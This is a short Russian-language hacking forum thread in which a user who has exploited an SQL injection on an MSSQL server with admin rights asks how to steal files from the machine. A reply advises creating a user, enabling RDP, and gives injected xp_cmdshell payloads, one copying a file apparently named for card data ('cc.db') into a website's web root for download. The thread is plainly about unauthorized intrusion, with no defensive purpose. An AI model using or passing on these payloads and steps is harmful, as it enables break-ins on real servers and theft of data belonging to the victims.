Как слить файлы через sql inj MSSQL

Discussion in 'Болталка' started by Respekt(GreenSea), 13 Apr 2011.

  1. Respekt(GreenSea)

    Respekt(GreenSea) New Member

    Joined:
    13 Jul 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Вообщем раскрутил MSSql скулю права на бд админские. ЛАзил по папкам через скулю. Но нужно скачать файлы с компа. Подскажите способы..я так полагаю можно создать пользователя дать ему права на РДП и зайти на дедик. Вообщем предлагайте пожалуйста. Чем и как можно слить файлы с деда :)
     
  2. Respekt(GreenSea)

    Respekt(GreenSea) New Member

    Joined:
    13 Jul 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Господа не проходим мимо.Нужны ваши ответы )
     
  3. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    Добавляй пользователя.
    Включай RDP, если не включен.

    ;exec master..xp_cmdshell 'команда';–

    Вообще ищи информация в гугле есть

    Cкачать файл, можно так:
    ;exec master..xp_cmdshell 'copy c:\cc.db c:\wwwroot\amozon.com\cc.db';–

    Затем скачиваешь через браузер.
    Идею думаю понял)
     
    #3 shellz[21h], 14 Apr 2011
    Last edited: 14 Apr 2011